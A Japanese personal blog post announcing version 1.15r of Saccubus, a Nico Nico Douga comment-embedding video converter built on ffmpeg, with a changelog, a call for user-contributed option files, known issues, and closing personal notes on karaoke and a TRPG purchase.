 このソフトはそうした弱点を克服し、低スペックなPCでもコマ落ちなしで綺麗に変換することが出来ます。

 変換にはffmpegを用いているため、後述するオプションファイルがあればiPodやPSP向けに変換を行うことも可能なはずです。ちなみに私はDSでアニメ見てます。どうせ見るならコメントあったほうがいいよネ。

ダウンロード

  • Saccubus ver1.15r(2007/11/17)

 ※落とせない場合、このエントリは最新バージョンではありません。こちらのエントリで最新バージョンを確認してください。

 一応一つ前のバージョンもおいておきます。バグが酷かったとき用。

  • [旧バージョン]Saccubus ver1.13(2007/11/13)

基本的な使い方

 Readmeのほか、こちらのエントリをご参照下さい。

今回の変更内容

 いっぱい変えました。バグも多いかもしれません。

  • FFmpegのオプションを複数用意しておいて、切り替えられるようになった。
    • 携帯動画変換君を想像してもらえれば。
    • 現在はほとんど入っていません。下のほうにこれについて書きました。
  • FFmpegのオプションに、「出力動画の拡張子」を追加。
    • 今まではaviだけでしたが、それ以外も選べます。PSP、iPod用のmp4、Youtube用のFLVとかも出力できるはずです。
  • UIの変更
  • 取得コメント数を自動調整。
    • そもそも今までも取得数を0にすると自動で取得数が決定されてた模様。
  • 変換後のファイル名に動画IDを付加するか否かを選択できる
  • 変換後にDLした動画ファイルを削除できるかどうか選べる。
  • すべてのコメントの不透明度を100%に設定できる。
  • ファイルやフォルダをドラッグ・アンド・ドロップでも設定できる。
  • バッチファイルに自動でシャットダウンを行う機能を追加
  • バグ修正
    • 正規表現の処理がうまくできないのを修正
    • ファイル名をUS-ASCIIと解釈した場合に { や } が入っているとうまくいかない問題を修正。
    • その他覚えてない

FFmpegのオプションリストがほとんど無い件

 optionフォルダに特定のフォーマットのxmlファイルを入れると、「さきゅばす」からそのファイルの設定を用いて変換するか選べるようになります。「オプションファイル見本.xml」というファイル名でその見本を入れておいたので参考にしてください。

 現在はデフォルト設定しか入ってません。自力でも増やしたいところですが、残念ながら最低でも今から2週間ぐらいは時間なさそうです。あとサポートとかも無理っぽい。

 そこで、手抜き皆さんの力をお借りしたいと思います。

 掲示板とアップローダを用意しておきましたので、ご自由にお使いください。一日に多少は時間が取れるので、荒らしの対処ぐらいなら出来ると思います。

 オプションファイルをアップロードする際は、そのファイルを今後「さきゅばす」に転載しても良いかどうかについての指定もお願いします。

 ぶっぴすさんのオプションを追加しようと思ったんですけど、拡張子どれにすれば良いのか分からないので追加できません(

 iPodってなんかいっぱい種類あるみたいでよく分からないんですよ・・・。orz

スクリーンショット

20071115-01.png

 こんなヒーローは許しちゃだめだろwwwww

まだ再現できてない点

  • フレームレートが違う(ニコニコ動画:25 「さきゅばす」:任意)ので、それによってコメントが表示される順番が微妙に変わる可能性がある。ただ本気で探さないと気づかない。
  • 文字についてる影のエフェクトが違う。これはライブラリの差。埋めるのはほぼ不可能に近いです。複数のエフェクトを用意する予定です。
  • 静止画だけの動画でガクガクになる。ffmpeg本体に手を入れないとだめっぽい。しかも大手術・・・。
  • 投稿者コメント:ニコスクリプト実装後に検討します。

考えている機能追加リスト

 随時募集中です。対応できるかは分かりませんけど。。。

  • Java側
    • プログレス表示をもうちょっとマシに。
  • C側
    • 影フィルタの追加
    • 特殊な文字が描画できない問題の修正

本日のボヤキ

 結構前ですが、一人でカラオケ行ってきました。二時間、カラオケボックスは人生初体験。一時間にしようかと思ったのですが、時間がたりない。。。ここ数年のと2000年前後のアニメのアニソンを延々と歌ってました。特にアンインストールは二回。「エアーマンが倒せない」は入ってないのか~。

 一人で行くと他の人が居ない分幾らでも歌えるのですが、休憩時間が無い^^; 諸刃の剣なので初心者にはお勧めできない・・・?

 あとは本日迷宮キングダムっていうTRPG買って来ました。暇なときに一人でやろうと思います†1。Amazonにも無いので、近くのホビーショップで買ってきました。

 このホビーショップ、かなり殺風景な個人経営のお店なのですが、その代わり店主が詳しく、色々教えてもらえました。良いですね、店員が商品に詳しいのって。

  • †1: 誰も乗ってくれなかったTT